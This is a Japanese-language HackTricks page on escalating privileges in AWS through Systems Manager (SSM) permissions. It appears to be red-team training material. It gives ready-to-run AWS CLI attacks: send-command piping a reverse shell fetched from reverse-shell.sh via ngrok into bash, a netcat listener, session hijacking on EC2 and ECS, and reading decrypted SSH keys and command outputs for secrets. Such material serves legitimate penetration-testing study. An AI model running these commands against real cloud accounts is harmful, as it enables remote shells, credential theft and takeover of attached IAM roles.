AWS - SSM Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

SSM

SSMに関する詳細情報は次を参照してください:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand 権限を持つ攻撃者は、Amazon SSMエージェントを実行しているインスタンスでコマンドを実行し、その中で実行されているIAMロールを侵害することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

次に、すでに侵害されたEC2インスタンス内で特権を昇格させるためにこのテクニックを使用している場合は、次のようにローカルでrevシェルをキャプチャできます:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在的影響: SSM エージェントが実行されているインスタンスにアタッチされている EC2 IAM ロールへの直接的な権限昇格。

ssm:StartSession

ssm:StartSession 権限を持つ攻撃者は、Amazon SSM エージェントが実行されているインスタンスで SSH のようなセッションを開始 し、その中で実行されている IAM ロールを 侵害 することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

セッションを開始するには、SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

潜在的な影響: 実行中のインスタンスにアタッチされているEC2 IAMロールへの直接権限昇格が可能になります。SSMエージェントが実行されている場合。

ECSへの権限昇格

ECSタスクが**ExecuteCommandが有効**な状態で実行されると、十分な権限を持つユーザーはecs execute-commandを使用してコンテナ内でコマンドを実行できます。 ドキュメントによると、これは、"exec"コマンドを開始するデバイスとSSMセッションマネージャーを介してターゲットコンテナ間に安全なチャネルを作成することで行われます。 したがって、ssm:StartSession権限を持つユーザーは、そのオプションが有効になっているECSタスク内でシェルを取得できます。単に次のコマンドを実行します:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

潜在的影響: ExecuteCommand が有効になっている実行中のタスクにアタッチされた ECS IAM ロールへの直接的な権限昇格。

ssm:ResumeSession

ssm:ResumeSession 権限を持つ攻撃者は、Amazon SSM エージェントが実行されているインスタンスで SSH のようなセッションを再開 し、切断された SSM セッション状態で実行されている IAM ロールを 侵害 することができます。

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在的影響: SSM エージェントが実行され、セッションが切断されている場合、実行中のインスタンスにアタッチされた EC2 IAM ロールへの直接的な権限昇格が可能です。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

上記の権限を持つ攻撃者は、SSM パラメータをリストアップし、平文で読み取ることができます。これらのパラメータには、SSH キーまたは API キーなどの機密情報が頻繁に含まれています。

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在的影響: パラメータ内の機密情報を見つける。

ssm:ListCommands

この権限を持つ攻撃者は、送信されたすべてのコマンドをリストアップし、それらから機密情報を見つけることができるかもしれません。

aws ssm list-commands

潜在的影響: コマンドライン内の機密情報を見つける。

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

これらの権限を持つ攻撃者は、送信されたすべてのコマンドをリストアップし、生成された出力を読むことができ、機密情報を見つける可能性があります。

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在的影響: コマンドラインの出力内に機密情報を見つける。

Codebuild

Codebuildプロジェクト内に入るためにSSMを使用することもできます:

pageAWS - Codebuild Privesc
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

最終更新